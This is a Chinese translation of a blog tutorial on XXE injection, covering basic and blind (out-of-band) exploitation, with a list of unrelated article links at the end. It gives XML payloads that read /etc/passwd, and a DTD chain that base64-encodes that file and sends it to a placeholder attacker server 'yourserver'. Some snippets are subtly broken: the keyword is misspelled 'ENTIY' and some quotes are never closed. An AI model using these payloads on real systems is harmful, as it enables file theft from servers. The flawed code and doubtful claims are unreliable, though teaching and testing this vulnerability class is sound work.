原文:http://agrawalsmart7.com/2018/11/10/Understanding-XXE-from-Basic-to-Blind.html

这篇文章中将讨论以下问题。

XXE是什么?

如何确认XXE?

如何利用基本XXE?

如何盲打XXE?

以及盲打XXE有效载荷的备选方案。

首先要了解一些基本的关键词。

实体:实体引用充当缩写或可以在外部位置找到的数据。语法:&test;

最常见的实体是:

内部实体:如果实体在DTD内声明,则称为内部实体。

语法:<!ENTITY entity_name "entity_value">

外部实体:如果实体在DTD之外声明,则称为外部实体。由“系统”标识。

语法:<!ENTITY entity_name SYSTEM "entity_value">

参数实体:参数实体的目的是能够创建替换文本的可重用部分。(如果不理解,以后会更清楚。)

语法:<!ENTITY % entity "another entity (Internal or External)">

XXE是什么?

XXE是XML External Entity的简称,在错误配置XML解析器解析内部实体时出现的漏洞。XXE有两种类型:

  • 1、基础
  • 2、盲打

基础一:

有一个URL参数解析了XML数据,如:http://myapp.com/somefile.php?xml=

当向这个URL提供XML数据时,并且该数据打印回用户的浏览器,就可以尝试基础的XXE。确认漏洞的存在可以利用以下的方法:

Payload 1:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM 'http://yourserverip/'>]>
<root>&test;</root>

现在来理解原理。

1、首先声明XML语法,定义DOCTYPE后再定义XML主体的内容。

2、在DOCTYPE(即root)之后定义根元素,接下来定义实体,该实体包含SYSTEM属性,表明该实体是外部的。

3、定义服务器的ip,因为要让目标服务器向攻击者的服务器发送请求。

当Payload被XML解析,存在漏洞的XML解析方式会解析实体&test,然后实体中对应的是攻击者的服务器IP,所以将通过向攻击者服务器IP请求的方式处理外部实体。

所以如果攻击者的服务器在网络日志文件中有一个新的连接,那么就可以确认找到了XXE漏洞。

利用漏洞:

读取Web服务器的本地文件,可以使用以下有效载荷来完成。

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

XML解析器将像上面一样处理这个Payload,但现在不会向攻击者的服务器发送请求,而是使用文件协议在本地请求/etc/passwd文件,检索出文件内容并显示出来。 因此攻击者可以读取这台WEB服务器的本地文件。

如果XML数据没有显示内容该怎么办?(Blind XXE Case)

仍然可以通过使用上面的第一个Payload来确认漏洞的存在。但是不能看到Web服务器本地文件的文件内容。这仍然是一个安全问题,但严重性有点低。而且这被称为 Blind XXE 或Out-of-band XXE。

这意味着攻击者必须使用Bild Paylod,将WEB服务器的本地文件内容发送到攻击者的服务器。

Payload 2:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % test SYSTEM 'http://yourserver/xml.dtd'> %test; %exe]>
<root>&entity;</root>

xml.dtd 内容:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTIY % exe "<!ENTITY entity SYSTEM 'http://yourserver/%file;'>">

理解上述代码:

以上代码使用的是外部DTD文件,即%test。因此xml解析器将解析这个实体并向攻击者的WEB服务器发出请求获取DTD文件的内容。而那个DTD文件中攻击者定义了一些要处理的实体。

%exe;将生成另一个实体,即实体&entiry。并且该实体将使用文件内容向攻击者的服务器发出请求。 具体的文件内容是在实体%file中的php://filter/convert.base64-encode/resource=/etc/passwd获取的;

当xml解析器解析实体%file时,该实体将grep受攻击的服务器本地文件的文件内容。使用php filter进行编码。

可以看一个视频了解攻击者是如何操作的。

http://agrawalsmart7.com//bandicam 2018-11-04 23-35-26-024.mp4

有人可能会产生这样的问题:为什么要从攻击者的服务器调用DTD?为什么不直接利用Payload?

Payload 3:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % filecontents SYSTEM 'file:///etc/passwd>
<!ENTITY test SYSTEM 'http://yourserver/%filecontents;'>]>
<root>&test;</root>

答案是因为根据XML_DOC,参数实体不能在DTD子集内调用,但是可以在外部子集中调用(Payload 2中的利用形式)。 这种形式使用后将提示禁止的错误。

这就是为什么不能在Payload之上运行的原因。

试试另一个有效载荷:

Payload 4:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY filecontents SYSTEM 'file:///etc/passwd>
<!ENTITY test SYSTEM 'http://yourserver/&filecontents;'>]>
<root>&test;</root>

以上这个Payload就没有任何问题,因为实体被作为字符串解析。实体应该在根标记中,如果不是就会被作为一个字符串解析。

【技巧总结】理解XXE从基础到盲打的更多相关文章

  1. 理解RxJava:(一)基础知识

    理解RxJava:(一)基础知识 本文翻译自Grokking RxJava, Part 1: The Basics,著作权归原作者danlew所有.译文由JohnTsai翻译.转载请注明出处,并保留此 ...

  2. flutter系列之:深入理解布局的基础constraints

    目录 简介 Tight和loose constraints 理解constraints的原则 总结 简介 我们在flutter中使用layout的时候需要经常对组件进行一些大小的限制,这种限制就叫做c ...

  3. C++入门到理解阶段二基础篇(8)——C++指针

    1.什么是指针? 为了更加清楚的了解什么是指针?我们首先看下变量和内存的关系,当我们定义了int a=10之后.相当于在内存之中找了块4个字节大小的空间,并且存储10,要想操作这块空间,就通过a这个变 ...

  4. C++入门到理解阶段二基础篇(5)——C++流程结构

    1.顺序结构 程序从上到下执行 2.选择结构(判断结构) 判断结构要求程序员指定一个或多个要评估或测试的条件,以及条件为真时要执行的语句(必需的)和条件为假时要执行的语句(可选的). ​ C++ 编程 ...

  5. 理解java面向对象基础

    1. 类和对象 一切皆对象,这可以说是面向对象的核心思想了. 类,就是具有相同性质对象的抽象. 而类的每一个具体的实例就是一个对象. 我们可以定义一个Person类,这个Person类就是所有的人的抽 ...

  6. 理解 Flutter 的基础概念:Widget

    Widget 的本意是组件的意思,熟悉 Web 应用开发的人在后期必定会接触到 Vue.React 等框架,这些框架都有一个核心的概念 -- 组件.组件的目的也很简单,那就是重复率用一段代码,并且能够 ...

  7. 理解MVC入门基础原理

    今天,我将开启一个崭新的话题:ASP.NET MVC框架的探讨.首先,我们回顾一下ASP.NET Web Form技术与ASP.NET MVC的异同点,并展示各自在Web领域的优劣点.在讨论之前,我对 ...

  8. JavaScript面试技巧(一):基础知识

    1.变量类型和计算 变量类型:值类型.引用类型.typeof运算符. 变量计算:字符串拼接.==运算符.if语句.逻辑运算符 2.原型和原型链 构造函数 5个原型规则 3.作用域和闭包-执行上下文 4 ...

  9. C++入门到理解阶段二基础篇(9)——C++结构体

    1.概述 前面我们已经了解到c++内置了常用的数据类型,比如int.long.double等,但是如果我们要定义一个学生这样的数据类型,c++是没有的,此时就要用到结构体,换言之通过结构体可以帮我们定 ...

随机推荐

  1. Hadoop 4 MapReduce

    对单词个数统计的MapReduce的案例 Mapper类: package main.java.worldClient; import java.io.IOException; import org. ...

  2. 初学Nutch之简介与安装

    1.Nutch简介 Nutch是一个由Java实 现的,开放源代码(open-source)的web搜索引擎.主要用于收集网页数据,然后对其进行分析,建立索引,以提供相应的接口来对其网页数据进行 查询 ...

  3. BeanFactory 简介以及它 和FactoryBean的区别(阿里面试)

    BeanFacotry是spring中比较原始的Factory.如XMLBeanFactory就是一种典型的BeanFactory.原始的BeanFactory无法支持spring的许多插件,如AOP ...

  4. CUDA ---- device管理

    device管理 NVIDIA提供了集中凡是来查询和管理GPU device,掌握GPU信息查询很重要,因为这可以帮助你设置kernel的执行配置. 本博文将主要介绍下面两方面内容: CUDA run ...

  5. 01 Maven构建的项目中,把.xml等配置文件添加到编译目录

    Maven构建的项目,默认只会把src/main/resources目录下的xml配置文件添加到编译目录. 如果需要把src/main/java目录下的xml配置文件也添加到编译目录,需要在pom.x ...

  6. POJ 2584 T-Shirt Gumbo

    T-Shirt Gumbo Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 3689   Accepted: 1755 Des ...

  7. [LOJ6436][PKUSC2018]神仙的游戏

    loj description 给你一个只有01和?的字符串,问你是否存在一种把?改成01的方案使串存在一个长度为\(1-n\)的\(border\).\(n\le5\times10^5\) sol ...

  8. Winform Treeview 的按需加载

    最近项目里用到treeview,原先设计的是一开始就把所有数据都加载到treeview里,后来发现客户的数据量实在太大,加载所有数据要2分钟,这个是客户没法接受的.后来就考虑到用户也不是一开始就要看所 ...

  9. 【bzoj3576】 Hnoi2014—江南乐

    http://www.lydsy.com/JudgeOnline/problem.php?id=3576 (题目链接) 题意 给出一个数$F$,然后$n$堆石子,每次操作可以把一堆不少于$F$的石子分 ...

  10. 解题:BZOJ 5093 图的价值

    题面 显然只需要考虑一个点(再乘n),那么枚举这个点的度数,另外的$\frac{(n-1)(n-2)}{2}$条边是随意连的,而这个点连出去的边又和其余$n-1$个点产生组合,所以答案就是 $n*\f ...